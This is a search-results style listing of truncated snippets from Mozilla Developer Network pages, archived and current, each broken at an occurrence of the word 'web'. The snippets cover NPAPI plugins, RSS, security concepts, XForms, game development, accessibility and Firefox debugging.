n is not loaded and the function returns an error code. For possible values, see Error codes. Description NPN_GetURL() is used to load a URL into the current window or another target or stream. Plug-ins can use this capability to provide hyperlinks to other documents or to retrieve data from anywhere on the network. This is especially useful for enabling an existing application to operate on the
web. For HTTP URLs, the browser resolves this method as the HTTP server method GET, which requests URL objects. Use NPN_GetURLNotify() instead of NPN_GetURL() in these cases: To request a stream and receive notification of the result. If the buffer contains header information (even a blank line). Make sure that the target matches the URL type sent to it. For example, a null target does not make s...
NPN_GetValueForURL - Archive of obsolete content
turn value is: cookie1=value1;cookie2=value2;cookie3=value3 len Out parameter. The length of the returned value buffer. Returns If successful, the function returns NPERR_NO_ERROR. If unsuccessful, the function returns an error code. For possible values, see Error Codes. Description This entry point is designed to allow plugins which implement their own HTTP stacks to form requests to the
web server in the same way the browser does. See also NPN_SetValueForURL, NPN_GetAuthenticationInfo ...
NPP_Print - Archive of obsolete content
ic print operation for an embedded or full-screen plug-in. Syntax #include <npapi.h> void NPP_Print(NPP instance, NPPrint* PrintInfo); Parameters The function has the following parameters: instance Pointer to the current plug-in instance. Must be embedded or full-screen. printInfo Pointer to NPPrint structure. Description NPP_Print is called when the user requests printing for a
web page that contains a visible plug-in (either embedded or full-page). It uses the print mode set in the NPPrint structure in its printInfo parameter to determine whether the plug-in should print as an embedded plug-in or as a full-page plug-in. An embedded plug-in shares printing with the browser; the plug-in prints the part of the page it occupies, and the browser handles everything else, incl...
NPWindow - Archive of obsolete content
and some platform-specific information. The plug-in area is a native window element on Windows and Unix, or a rectangle within a native window on Mac OS. The x, y, height, and width coordinates of NPWindow specify the position and size of this area. The browser calls NPP_SetValue whenever the drawable changes. A windowed plug-in is drawn into a native window (or portion of a native window) on a
web page. For windowed plug-ins, the browser calls the NPP_SetWindow method with an NPWindow structure that represents a drawable (a pointer to an NPWindow allocated by the browser). This window is valid until NPP_SetWindow is called again with a different window or the instance is destroyed. A windowless plug-in is drawn into a target called a drawable, which can be defined in several ways dependin...
NP_GetMIMEDescription - Archive of obsolete content
e <libgnomevfs/gnome-vfs-mime-info.h> #include <libgnomevfs/gnome-vfs-utils.h> // const char* gnome_vfs_mime_get_description (const char *mime_type); const char* desc = gnome_vfs_mime_get_description ("audio/ogg"); If you use GNOME GIO (gio-2.0), you can get the MIME type description too. #include <gio/gio.h> const char* desc = g_content_type_get_description("audio/ogg"); JavaScript Inside a
Web page, you can retrieve these informations with this code: var mimetype = navigator.mimeTypes['application/basic-example-plugin']; if (mimetype) { alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description); } ...
The First Install Problem - Archive of obsolete content
information. Problem Definition The First Install Problem is the name given to the conditions arising when a plugin or embeddable software installs itself on a system first, before any other Gecko-based browser. If this happens, Gecko-based browsers often won't be able to discover the plugin, and will prompt the user to download the plugin again if the affiliated MIME type is encountered on the
Web. Unless Gecko does a pre-emptive scan upon startup for desirable plugins that are not in the browser's plugins directory first, the best way to solve this problem is to encourage plugin vendors to leave DLLs (and XPT files, if applicable) in a location that Gecko can discover at runtime. This document presents a consistent way to do that. Proposed Solution On Mac OS X, the System's Plugins Folde...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
> </channel> </rss> The <slash:comments> element is it reason that the RSS Slash Module is popular. This element gives the (current) total number of comments made for the item -- for the blog post. Although not necessary, people also often use other RSS Modules to get at (and read) the comments (since RSS does not currently provide facilities for this either). Some use the Well-Formed
Web RSS Module for this. And some are now using Atomic RSS for this. (Using either of these 2 RSS modules is out of the scope of this article.) In reality, an item's comments count could change at any given time. People can (potentially) post new comments to an item at any given time. And (SPAM) comments could get deleted. And thus the comments count that the <slash:comments> element provides is only...
Getting Started - Archive of obsolete content
nformation about RSS that they were not aware of, or as a refresher guide. This tutorial assumes that you have some experience with HTML (or XML) and that you are comfortable with the basics ofmarkup . In other words, code like this doesn't bother you: This is some markup with <b>bold</b> tags. If you are comfortable with that, you should have no problem learning RSS. NOTE: If you are NOT a
web developer and do NOT want to become one, then this tutorial is NOT for you. You need to be comfortable with creatingmarkup to be able to effectively use this tutorial. What do you need before you start? To get the most from this tutorial, you will need a text editor and a RSS reader. You must also know how to use each of these. NOTE: A word processor is not a text editor. If a word processor...
Module - Archive of obsolete content
Tim Bray blogChannel September 17, 2002 Dave Winer Content content creativeCommons cc December 16, 2002 Dave Winer Dublin Core dc Slash slash Well-Formed
Web wfw Joe Gregorio and Chris Sells ...
RSS - Archive of obsolete content
ess, RSS is an extremely popular format that is used for syndicating news, blog posts, IPradio, and IPTV, with an amazing amount of momentum. Documentation Why RSS Slash is Popular - Counting Your Comments Charles Iliya Krempeaux talks about the RSS Slash Module, why it is popular among some, and how it is used to give a count for your comments. Why Well-Formed
Web RSS Module is Popular - Syndicating Your Comments Charles Iliya Krempeaux talks about the RSS Well-Formed
Web Module, why it is popular among some, and how it is used to link to your comments. Atomic RSS Tim Bray talks about using Atom 1.0 as a micro format and extension module for RSS 2.0; keeping RSS 2.0 as your sydication format but bringing in and using selected Atom 1.0 elemen...
Element - Archive of obsolete content
<name> (RSS Name Element) O P <pubDate> (RSS Published Date Element) Q R <rating> (RSS Rating Element) <rss> (RSS's Root "rss" Element) S <skipDays> (RSS Skip Days Element) <skipHours> (RSS Skip Hours Element) <source> (RSS Source Element) T <textinput> (RSS Text Input Element) <title> (RSS Title Element) <ttl> (RSS TTL Element) U <url> (RSS URL Element) V W <
webMaster> (RSS
Web Master Element) <width> (RSS Width Element) X Y Z ...
Security Controls - Archive of obsolete content
ware, or firmware. All three types of controls are necessary for robust security. For example, a security policy is a management control, but its security requirements are implemented by people (operational controls) and systems (technical controls). Think of phishing attacks. An organization may have an acceptable use policy that specifies the conduct of users, including not visiting malicious
websites. Security controls to help thwart phishing, besides the management control of the acceptable use policy itself, include operational controls, such as training users not to fall for phishing scams, and technical controls that monitor emails and
web site usage for signs of phishing activity. A common problem with security controls is that they often make systems less convenient or more diffic...
SSL and TLS - Archive of obsolete content
ike RSA and Elliptic Curve Cryptography (ECC) govern the way the server and client determine the symmetric keys to use during an SSL session. The most common SSL cipher suites use RSA key exchange, while TLS supports ECC cipher suites as well as RSA. Note: Longer RSA keys are required to provide security as computing capabilities increase. The recommended RSA key-length is 2048 bits. Though many
web servers continue to use 1024-bit keys,
web servers should migrate to at least 2048 bits. For 64-bit machines, consider using stronger keys. All CAs should use at least 2048-bit keys, and stronger keys (such as 3072 or 4096 bits) if possible. As PKIs using RSA keys and certificates transition to other cryptographic systems like ECC, servers should continue to support RSA. Supported Cipher Suites...
TCP/IP Security - Archive of obsolete content
ay be excessive. Transport layer protocols such as SSL are most commonly used to provide security for communications with individual HTTP-based applications, although they are also used to provide protection for communication sessions of other types of applications such as SMTP, Point of Presence (POP), Internet Message Access Protocol (IMAP), and File Transfer Protocol (FTP). Because all major
Web browsers include support for TLS, users who wish to use
Web-based applications that are protected by TLS normally do not need to install any client software or reconfigure their systems. Newer applications of transport layer security protocols protect both HTTP and non-HTTP application communications, including client/server applications and other network traffic. Controls at each layer offer a...
Security - Archive of obsolete content
roduces the basic concepts of public-key cryptography. For an overview of SSL, see "Introduction to SSL." For an overview of encryption and decryption, see "Encryption and Decryption." Information on digital signatures is available from "Digital Signatures." Introduction to SSLThis document introduces the Secure Sockets Layer (SSL) protocol. ...
Sunbird Theme Tutorial - Archive of obsolete content
communicator testing chrome/communicator/ skin global testing chrome/global/ skin help testing chrome/help/ skin mozapps testing chrome/mozapps/ replacing <tt>testing</tt> with your theme's one-word internal name as before. To understand the user interface provided by these other components, unpack the other jar files. Packaging your theme You can package your theme and make it available on a
web site for other users to download and install. There are two methods: a simple method, and the normal method. Simple packaging Note: If you use this simple method to package your theme, then it can take up much more disk space than it really needs. You might prefer to use this method only while you are developing your theme, and to use the normal method for public releases. In Sunbird, use the...
Old Proxy API - Archive of obsolete content
There may also be large incompatibilities between implementations and the behavior may change in the future. Warning: The SpiderMonkey Proxy implementation is a prototype and the Proxy API and semantics specifications are unstable. The SpiderMonkey implementation may not reflect the latest specification draft. It is subject to change anytime. It is provided as an experimental feature. Do not rely on it for production code. ...
ParallelArray - Archive of obsolete content
The higher-order functions available on ParallelArray attempted to execute in parallel, though they may fall back to sequential execution if necessary. To ensure that your code executes in parallel, it is suggested that the functions should be limited to the parallelizable subset of JS that Firefox supports. Syntax new ParallelArray() new ParallelArray([element0, element1, ...]) new ParallelArray(arrayLength, elementalFunction) ParallelArray instances Properties length Reflects the number of elements in the ParallelArray. ...
Examples - Archive of obsolete content
the "Properly Using CSS and JavaScript in XHTML Documents" article. Please refer to the article to learn more about these examples. If you wish to test these examples by yourself, please read the Important Notes. Important Notes If you plan to test these examples by yourself, you must use the right filename extension (it is written at the beginning of the code). Ideally, upload the file to a
web server and you're done. Please note that the examples 4, 5 and 6 require a file named style.css to exist in the same directory as the example. You can get the contents of style.css at the bottom of this page. Examples for "Problems with Inline style and script" Problem 1 <!-- This file should have a .xhtml extension and will generate an error when parsed. --> <!DOCTYPE html PUBLIC "-//W...
forEach - Archive of obsolete content
u wish to make changes, and especially if you wish to revert another user's changes, please either add a comment here, or post to dev-mdc@lists.mozila.org, explaining the change you desire. jswisher 15 Aug 2011 <hr> Is this a from _core_ of JavaScript 1.5? If so, is JS 1.5 Gecko only? Those extra features like forEach are Gecko only, and it should be mentioned that they should *_not_* be used on
web pages. --Gandalf 07:18, 31 May 2005 (PDT) Is there a way to make forEach make use of break? [1].forEach(function(value, index, array){ print(value); //break? if (value>1){ return false;//we could have some way to break when we return false } }); //woulld print 1 2 --Porfirio 11:17, 22-06-2008 Another option would be to throw StopIteration and catch it within forEach(). --BenCollver 11:18,...
Window.importDialog() - Archive of obsolete content
There may also be large incompatibilities between implementations and the behavior may change in the future. ObsoleteThis feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. This function was only available in the original, XUL-based version of Firefox for Android, which is no longer supported; for that reason, this function is obsolete and should never be used. ...
Troubleshooting XForms Forms - Archive of obsolete content
t allow this. You either have to use CSS tables or repeat attributes, which at the moment are not working properly in the Firefox XForms extension :( Should be fixed by bug 306247 and bug 280368 respectively. Submission Not Working If you are trying to replace="instance" make sure that the document being returned is XML. There will be an error on the Javascript Console if it is not. On most
webservers you cannot use <submission method="post" action="file.xml"> to a static XML file. You need to use method="get", or <instance src="file.xml"> if the instance is always needed. If you are trying to submit to a different domain than the form is loaded from, make sure that you have allowed cross-domain submission for that specific "form domain". Read here for more information. Conflicts wi...
Requests For Enhancement - Archive of obsolete content
then please feel free to file it). Then you can give a vote by clicking on the 'vote' link on the bug page. The XForms team looks at votes to help determine which bug is more important for our XForms users. RFE categories XForms API This section contains RFE to the XForms API. Custom Controls I think that XForms is a great way to show that 14 year old HTML hacks CAN build really powerful
web apps and reduce the need for JavaScript by 90%. Now we need to start teaching XForms to
web newcomers before they are brainwashed into believing that the only way to build cool
web apps is to do DOM surgery with Javascript! Dan McCreary. One of the outstanding features of XForms is that it can work with any XML host language. Natively, the Mozilla XForms implementation supports XForms elements b...
Community - Archive of obsolete content
If you know of useful mailing lists, newsgroups, forums, or other communities related to
Web Standards, please link to them here. The
Web Standards Project
Web Developer's Handbook
WebDev FeedHouse - Blog feeds for popular standards-compliant blogs. ...
Correctly Using Titles With External Stylesheets - Archive of obsolete content
an be used at a time. Therefore, given the above example, only one of the two preferred stylesheets will be applied to the document. The specification does not supply a procedure to decide which one should be used, so user agents are free to make whatever choice they like. Therefore, any link to a stylesheet that includes a title attribute cannot be persistent, and is likely to be ignored by the
Web browser. Any link element referring to a stylesheet with a title attribute must be either preferred or alternate, depending on the value of the rel attribute. In a document that refers to alternate stylesheets, the preferred stylesheet will be used so long as none of the alternate stylesheets are selected by the user. Thus, when the document is loaded, the browser will use all of the persistent ...
Popup Window Controls - Archive of obsolete content
<title>Detecting Popup Controls</title> <script type="text/javascript"> <!-- // attempt to open an unsolicited window var popup = window.open('about:blank', 'popup'); if (!popup) { // the user has suppressed the popup } // --> </script> </head> <body> <!-- your page here --> </body> </html> If your popup window is crucial to the operation of your
web site you can notify the user and ask them to add your site to the list of sites which are allowed to use unsolicited popup windows. You can also provide a hyperlink which can be used to open a popup window even in the event that the user has suppressed unsolicited popups on your site. Replacements for Popup Windows If your popup was created during the time the
web page was loading, you may cons...
XQuery - Archive of obsolete content
wser users), at least one extension has been developed to give a preliminary support for XQuery for browser users (and serving as a simple model for how XQuery can be implemented within extensions). XqUSEme is a working proof-of-concept (so far tested on Windows and Linux with Java installed; Mac does not work) extension which allows one to perform XQueries on external URLs, the currently loaded
webpage (even if originally from poorly formed HTML), and/or XML (including well-formed XHTML) documents stored locally. The extension now includes and interfaces with the open-source version of Saxonica's Saxon B (though this extension currently only performs the XQueries). Other popular native XML databases might also be supported (e.g., eXist) in the future, especially now that the extension has ...
XUL Booster - Archive of obsolete content
Extension Quick Start XUL Booster makes creating and packaging an extension very easy. It supports exporting XPI files or registering a file system based project. Create an extension You'll need an extension ID; see Generating GUIDs. Add an Overlay You'll need the chrome address of the content you wish to overlay, ex. chrome://browser/content/browser.xul. Learn more at Creating_a_Mozilla_Extension:Finding_the_file_to_modify To create an XUL:overlay, create a XUL fragment with a top level node that has an ID matching an existing element, ex. menupopup id="menu_ToolsPopup". ...
Common causes of memory leaks in extensions - Extensions
ut it also happens when an add-on is updated. If a bootstrapped (restartless) extension fails to clean up event listeners when disabled or removed, the listeners will still reference the enclosing scope -- usually the bootstrap.js sandbox -- and therefore keep that scope (and its enclosing compartment) alive until the window is unloaded. If the window in question is browser.xul or some long-lived
web app such as Gmail, the leaked compartment might survive for quite some time. function leakref() {} function main(window) { // This is a potential leak, as the window (e.g. browser.xul) will hold on to // the leakref function and the enclosing compartment via the listener. window.addEventListener("leaky", leakref, true); // The following line still fails to avoid the leak, as useCapture...
Using the DOM File API in chrome code - Extensions
If you want to use the DOM File API in chrome code, you can do so without restriction. In fact, you get one bonus feature: you can create File objects specifying the path of the file on the user's computer. This only works from privileged code, so
web content can't do it. This protects users from the inherent security risks associated with allowing
web content free access to the contents of their disks. If you pass a path to the File constructor from unprivileged code (such as
web content), an exception will be thrown. Scope Availability In the JSM scope File is available without needing to do anything special. In Bootstrap scope, this must be imported in like so: Cu.importGlobalProperties( [ "File" ] ) Accessing a file by hard-coded pathname To reference a file by its path, you can si...
Building up a basic demo with Babylon.js - Game development
n. If you have already worked through our Building up a basic demo series with Three.js, PlayCanvas or A-Frame (or you are familiar with other 3D libraries) you'll notice that Babylon.js works on similar concepts: camera, light and objects. Environment setup To start developing with Babylon.js, you don't need much. You should start off by: Making sure you are using a modern browser with good
WebGL support, such as the latest Firefox or Chrome. Creating a directory to store your experiments in. Saving a copy of the latest Babylon.js engine inside your directory. Opening the Babylon.js documentation in a separate tab -- it is useful to refer to. HTML structure Here's the HTML structure we will use: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>MDN Games: Babyl...
Building up a basic demo with PlayCanvas - Game development
It is open sourced on GitHub, with an editor available online and good documentation. The online editor is free for public projects with up to two team members, but there are also paid plans if you'd like to run a commercial private project with more developers. Games and demos PlayCanvas has a few well-known demos published that showcase its possibilities. Tanx is a multiplayer tank game where you can drive your tank around, shooting at other players as you go. Swooop is a flying game where you pilot your plane around a magical island, collecting jewels and fuel as you go. ...
Mobile touch controls - Game development
In this tutorial, we will see how easy it is to implement mobile controls in an HTML5 game, and enjoy playing on a mobile touch-enabled device. Note: The game Captain Rogers: Battle at Andromeda is built with Phaser and managing the controls is Phaser-based, but it could also be done in pure JavaScript. ...
Implementing game control mechanisms - Game development
ntrols -- The first article will kick off with touch, as the mobile first approach is very popular. Desktop mouse and keyboard controls -- When playing on a desktop/laptop computer, providing keyboard and mouse controls is essential to provide an acceptable level of accessibility for the game. Desktop gamepad controls -- The Gamepad API rather usefully allows gamepads to be used for controlling
web apps on desktop/laptop, for that console feel. Unconventional controls -- The final article showcases some unconventional control mechanisms, from the experimental to the slightly crazy, which you might not believe could be used to play the game. ...
Tiles and tilemaps overview - Game development
formance Drawing scrolling tile maps can take a toll on performance. Usually, some techniques need to be implemented so scrolling can be smooth. The first approach, as discussed above, is to only draw tiles that will be visible. But sometimes, this is not enough. One simple technique consists of pre-rendering the map in a canvas on its own (when using the Canvas API) or on a texture (when using
WebGL), so tiles don't need to be re-drawn every frame and rendering can be done in just one blitting operation. Of course, if the map is large this doesn't really solve the problem -- and some systems don't have a very generous limit on how big a texture can be. One way consists of drawing the section that will be visible off-canvas (instead of the entire map.) That means that as long as there is n...
Initialize the framework - Game development
s a second <script> element, where we will write the JavaScript code to render the game and control it. The <canvas> element is generated automatically by the framework. We are initializing it by creating a new Phaser.Game object and assigning it to the game variable. The parameters are: The width and height to set the <canvas> to. The rendering method. The three options are AUTO, CANVAS and
WEBGL. We can set one of the latter two explicitly or use AUTO to let Phaser decide which one to use. It usually uses
WebGL if available in the browser, falling back to Canvas 2D if not. The id of the <canvas> to use for rendering if one already exists on the page (we've specified null because we want Phaser to create its own.) The names to use for Phaser's three key functions that load and start t...
Tutorials - Game development
2D breakout game using pure JavaScript In this step-by-step tutorial you'll implement a simple breakout clone using pure JavaScript. Along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states. ...
ChromeWorkers and the Chrome worker loader
That makes it available not only to the application itself, but also to add-ons. This documentation covers chrome Workers and the chrome worker module loader. Note: If you're contributing content to this section, create subpages using the "New sub-page" option in the "This page" menu. Once you've saved your new page, come back to this one and force-refresh this page. That will regenerate the table of contents below for all readers. Chrome Worker ModulesThe preferred way to define and load modules for Chrome Workers is to use the Chrome Worker Module Loader. ...
Accessibility API cross-reference
s of an object, and states. All accessibility APIs to date define a list of possible object roles, or general types, such as button, menu item, text, etc. They also define a list of possible object states, such as focused, read-only, checked, etc. This table is the start of a cross-reference, so we can spot the differences and similarities in the APIs. ARIA is a standard developed as part of the
Web Accessibility Initiative, which uses markup syntax quite familiar to users of HTML, XML, SGML and others. The roles it specifies have already informed the 'semantic elements' of HTML5 (such as main and footer), but there is not a one-to-one mapping between the ARIA roles and the semantics of HTML5. ARIA can be used to 'fill out' the missing semantics of HTML, but may also be used in other markup ...
Accessibility Information for Core Gecko Developers
These widgets are often not even keyboard focusable, and assistive technologies do not understand these widgets. This document shows several interactive desktop-style widgets that are accessible by keyboards and assistive technologies, and outlines a plan being developed by IBM, Mozilla, and the WAI Protocols and Formats Working Group (PFWG) to address the issue of DHTML accessibility. Mozilla Accessibility Architecture This document explains how we implement the cross-platform accessibility layer in Mozilla. ...
Accessibility information for UI designers and developers
look like, so you can design it to match branding. Here's an example of someone tabbing through a footer, the focus moves around: Note: don't remove the focus indicator, as without it, users that can't or don't use a mouse cannot see where they are. It would be like removing the mouse indicator. See also: Understanding SC 2.4.7: focus visible Be ready for resizing and custom styles On the
web, users can use tools in their browser to make font sizes larger, or even provide custom CSS to meet their specific needs. Ensure your design is flexible enough to allow for this. Text sizing Users should be able to enlarge their text size up to 200 percent without breaking functionality. Text spacing Users should be able to make the following changes to their text spacing: set line height ...
Information for External Developers Dealing with Accessibility
ith keys, how to extent text selection with keys, functions of function keys, what are reserved keyboard shortcuts, how to create your own keyboard shortcuts, keyboard focus and navigation, type-ahead and key-repeat, etc. Gnome keys: Keyboard documentation for Gnome 2.2: still seeking developer guidelines for keyboard. Other Useful Resources Links for those who wish to learn more about
web accessibility or open source accessibility. Join the Mozilla Accessibility Community Live Chat Both end users and developers are invited for discussion on the live IRC channel at irc.mozilla.org/#accessibility. Since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. Newsgroup and Mailing List We have two discussion lists, which can...
Information for users
es such as screen readers, screen magnifiers, voice input software and on screen keyboards. Planning Ahead for Accessibility This document is intended to help testers and designers understand and plan what still needs to be added to our UI for full usable accessibility. ...
Software accessibility: Where are we today?
ide context simply by creating an nsIAccessible for each custom control. The infrastructure to do this is straightforward. Other developers No matter what kind of work you do, the basis of accessibility is the need to understand that every user is different. After that, the exact techniques may change depending on the engineering environment. See See also below for information and tools for both
web and desktop application developers. ...
Theme concepts
These theme options can be implemented as static themes (although the theme images themselves may be animated) or as dynamic themes created in a browser extension. If you have a lightweight theme it will be converted to this new theme format automatically before lightweight themes are deprecated. You do not need to port your theme. However, please feel free to update your themes to use any of the new features described here. ...
Chrome registration
ox 2.0.0.5) and earlier where you could not use a relative URL for the new-resolved-URI parameter. You needed to provide an absolute URL. See bug 323455. resource Aliases can be created using the resource instruction: resource aliasname uri/to/files/ [flags] This will create a mapping for resource://<aliasname>/ URIs to the path given. Note: There are no security restrictions preventing
web content from including content at resource: URIs, so take care what you make visible there. Manifest flags Manifest lines can have multiple, space-delimited flags added at the end of the registration line. These flags mark special attributes of chrome in that package, or limit the conditions under which the line is used. application Extensions may install into multiple applications. There ma...
Creating a spell check dictionary add-on
r Myspell format, with a license which allows you to use it. Such a dictionary consists of two files, one with a .dic and one with an .aff file extension. A locale code to describe the language of the dictionary. For example en-US, de-DE or da. It is important to choose the right locale code, or the spell checker will not be able to match the language of your dictionary against the language of a
web page in order to select the right dictionary to use. If you are creating a new dictionary, as opposed to updating an existing one, please make sure that there is not already a dictionary available for your locale. If there already is one, try contacting the author to get it updated, or contact AMO editors if the author does not respond. Packaging A Firefox add-on is a ZIP file renamed to use ...
Creating reftest-based unit tests
If the bitmaps resulting from displaying the two files in an 800x1000 window are identical, the test passes. If they differ, the test fails. Or, alternatively, the conditions can be reversed (a != test rather than an == test). The power of the tool comes from the fact that there is more than one way to achieve any given visual effect in a browser. So, if the effect of complex markup is being tested, put that complex markup into a page and create another page that uses simple markup to achieve the same visual effect. Reftest will then compare them and verify whether they produce the same bitmap. This idea can seem odd when first encountered. ...
Creating Sandboxed HTTP Connections
ener = function (aCallbackFunc) { return ({ mData: "", // ... }) } Handling cookies When sending a request, cookies that apply to the URL are sent with the HTTP request. The HTTP response can also contain cookies, which the browser processes. As of Mozilla 1.8.1 (Firefox 2), it is now possible to intercept those two cases. For example, this means that if the user was logged into an
webmail account, another account on the same domain could be checked without changing the user's cookies. The observer service (nsIObserverService) is used to send general notifications, including the two cookie ones. The addObserver method is used to add an observer for a certain topic and takes in three agruments: an object than implements nsIObserver the topic to listen for. For cookies, the...
Debugging OpenGL
every OpenGL call. This can help make it much easier to debug crashes and hangs that make the computer unusable (thereby stymieing attempts to debug). The MOZ_GL_DEBUG_ABORT_ON_ERROR environment variable, if set, causes Firefox to abort as soon as an OpenGL error occurs. This is generally only useful in cases where you know that no error should occur, since there are cases where perfectly valid
WebGL code may generate OpenGL errors. You don't have to define more than one of these; for example, if you set MOZ_GL_DEBUG_ABORT_ON_ERROR, the MOZ_GL_DEBUG setting is assumed. ...
Debugging on Mac OS X
uments passed on launch. Now you're ready to start debugging: From the "Product" menu, ensure the scheme you created above is selected under "Scheme" Click the "Run" button. The information area at the top of the window will show "Waiting for plugin-container to launch" From a command line, run your build of Firefox. When that launches a child process (for example, when you start to load a
webpage), XCode will notice and attach to that child process. You can then debug the child process like you would any other process. When you are done debugging, click the "Stop" button and quit the instance of Firefox that you were debugging in the normal way. For some help on using lldb see Debugging Mozilla with lldb. Other resources Apple has an extensive list of debugging tips and technique...
Debugging on Windows
refox, in general, and even in non-e10s mode, does not start the main process directly, it starts it via a Launcher Process. This means that Visual Studio will only attach to the first process it finds, and will not hit any break-point (and even notifies you that it cannot find their location). Microsoft Child Process Debugging Power Tool allows automatically attaching to child processes, such as
Web Content process, GPU process, etc. Enable it by going its configuration menu in "Debug > Other debugging targets > Child process debugging settings", and ticking the box. If you have followed the steps in Building Firefox for Windows and have a local debug build, you can execute ./mach run --debug from the same command line. It would open Visual Studio with Firefox's run options configured. You ...
Debugging
o Profiler extension. Debugging a hang on OS X Collecting "samples" to attach to a bug. Remote debugging Core dumps and examples of remote debugging. Useful if a developer can't reproduce your crash. HTTP logging How to log HTTP network traffic for debugging purposes. Debugging tools Tools Assorted tools that will help you debug your code or
web site. nserror lookup Useful for when your code gets a complicated numeric error code and you can't figure out what it means. Download a debug build Recent automatically compiled debug builds are available. Note that these are replaced frequently by our tinderboxes. The debug builds have "-debug" at the end of their file names. Related topics Performance an...
Adding APIs to the navigator object
yComponent @mozilla.org/mycomponent;1 Generate a GUID and replace the "ffff" sections in both the component and contract lines with your GUID. This adds a new API, myComponent, to the navigator object, which you can then access as navigator.myComponent. Real-world example You can see an example of how this is used in Firefox by taking a look at how the mozApps API is implemented: dom/apps/
Webapps.manifest dom/apps/
Webapps.js ...
Windows SDK versions
0) Express Download and install the Windows 7 SDK. Older versions Some of the older version are no longer supported, further information is available at Obsolete Build Caveats and Tips [en-US] under the Windows SDK article. Windows 8 SDK (Official) Features that depend on this SDK include: Metro Firefox front end Gamepad API support You can download the SDK from the Microsoft Download Center [
web setup]. Windows 7 SDK Features that depend on this SDK include: Windows 7 taskbar previews Windows 7 download taskbar progress Windows 7 jump lists You can download the SDK (v7.0 [
web setup or ISO image] or unsupported v7.1 [
web setup or ISO image]) from the Microsoft Download Center. Note that if you're running a 64 bit version of Windows you may require the "AMD" version of the SDK even if...
Obsolete Build Caveats and Tips
owsers, its use is discouraged since it could be removed at any time. Try to avoid using it. This is your only option if you're on Windows 2000. This also used to be necessary for building a default Gecko 1.9.2 through 8 with Visual C++ Express editions (see atlbase.h for more). You can download the SDK from the Microsoft Download Center. You need to install at least the "Windows Core SDK", "
Web Workshop (IE) SDK", and the "Data Access Services (MDAC) SDK". For all SDKs, you may choose not to install Sample Code and Documentation to save space and download time. Gecko 1.9.2 through 11: If you're building with this SDK, you will need to add ac_add_options --with-windows-version=502 to your .mozconfig. For mozilla-1.9.1 and mozilla-1.9.0, you need to add ac_add_options --disable-vista-...
mach
to include your source directory, or by copying mach to a directory in the default path like /usr/local/bin) then you can type mach anywhere in your source directory or your objdir. Mach expands relative paths starting from the current working directory, so you can run commands like mach build . to rebuild just the files in the current directory. For example: $ cd devtools/client $ mach build
webconsole # Rebuild only the files in the devtools/client/
webconsole directory $ mach mochitest
webconsole/test # Run mochitests in devtools/client/
webconsole/test Enable tab completion To enable tab completion in bash, run the following command. You can add the command to your .profile so it will run automatically when you start the shell: source /path/to/mozilla-central/python/mach/bash-compl...
Developer guide
stomizing Firefox Information about creating customized versions of Firefox. Task-Graph Generation What controls the jobs that run on a push to version control? How can you change that? Obsolete Build Caveats and Tips A place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases. Firefox Source Docs
Web-hosted documentation built from the mozilla-central source code. Tools Bugzilla The Bugzilla database used to track issues for Mozilla projects. DXR Next generation of searching Mozilla's source code. In active development. SearchFox Another option for Mozilla code searching. Indexes JS as well as C++, includes blame capabilities. In active development. Mozilla build VM A VirtualBox...
Index
ped in August 2016 with the release of Firefox 48. It became a requirement for building Gecko in February 2017 with Firefox 54. 8 Experimental features in Firefox Experimental, Firefox, Preferences, features This page lists features that are in Nightly versions of Firefox along with information on how to activate them, if necessary. 10 Firefox UI considerations for
web developers Activity Stream, Firefox, Icons, Mozilla, New Tab, NewTab, UI,
Web,
Web Development, favicon There are a number of places within the Firefox user interface where
web sites are listed for the user to choose a destination to visit or a site to manage in some way. One example is the new tab page, which includes a "Top Sites" section showing sites you visit that Firefox thinks yo...
Cross Process Object Wrappers
age forbidden" error in the Browser Console. Add-on code is still allowed to use CPOWs "unsafely". However, if an add-on passes a CPOW into a platform API, and that platform API then attempts an unsafe operation on it, this will throw an exception. So as a general rule, add-ons should avoid passing CPOWs into non-addon code. In multiprocess Firefox, chrome code runs in a different process from
web content. So chrome code can't directly interact with
web content: instead, it must factor out the code that interacts with
web content into separate scripts that are called frame scripts. Chrome code can load frame scripts into the content process using the message manager, and can then communicate with them using a message-passing API. To learn more about this, see the documentation on using th...
Limitations of frame scripts
nserted outer-window-destroyed inner-window-destroyed dom-window-destroyed These must be registered in the content process. QI from content window to chrome window There's a particular pattern often used to get from a content window to the associated chrome window. It looks something like this: window.QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsI
WebNavigation) .QueryInterface(Ci.nsIDocShellTreeItem) .rootTreeItem .QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsIDOMWindow); This will no longer work. In the content process the root tree item is an nsITabChild, that cannot be converted to an nsIDOMWindow, so the second getInterface ...
Limitations of frame scripts
nserted outer-window-destroyed inner-window-destroyed dom-window-destroyed These must be registered in the content process. QI from content window to chrome window There's a particular pattern often used to get from a content window to the associated chrome window. It looks something like this: window.QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsI
WebNavigation) .QueryInterface(Ci.nsIDocShellTreeItem) .rootTreeItem .QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsIDOMWindow); This will no longer work. In the content process, the root tree item is an nsITabChild, that cannot be converted to an nsIDOMWindow, so the second getInterface...
Performance
ntPolicy.ACCEPT; return Ci.nsIContentPolicy.REJECT_REQUEST; } }); // more boilerplate code here This example is a (somewhat condensed) content policy which gets triggered for every network request in a child process to either allow or deny the request. Since the code calls to the parent process to check whether a specific request can be allowed it would slow down all page loads, as
web pages generally issue dozens of requests. BETTER: Instead of only keeping the state in the parent an addon can employ a master-slave architecture where the parent has the authoritative state and replicates it to the child processes in advance so they can act based on their local copy. See the previous chapter on how to efficiently replicate addon state to each process. Clean up on addon u...
Multiprocess Firefox
Some elements of Multiprocess Firefox have been retained for compatibility. This page is an informal index of leftovers, mostly revolving around the Message Manager and the related Cross Process Object Wrappers. Message manager A complete guide to the objects used to communicate between chrome code and
web content. Cross Process Object Wrappers Cross Process Object Wrappers are a migration aid, giving chrome code synchronous access to
web content. Limitations of chrome scripts Practices that will no longer work in chrome code, and how to update them. Limitatio...
HTMLIFrameElement.getActive()
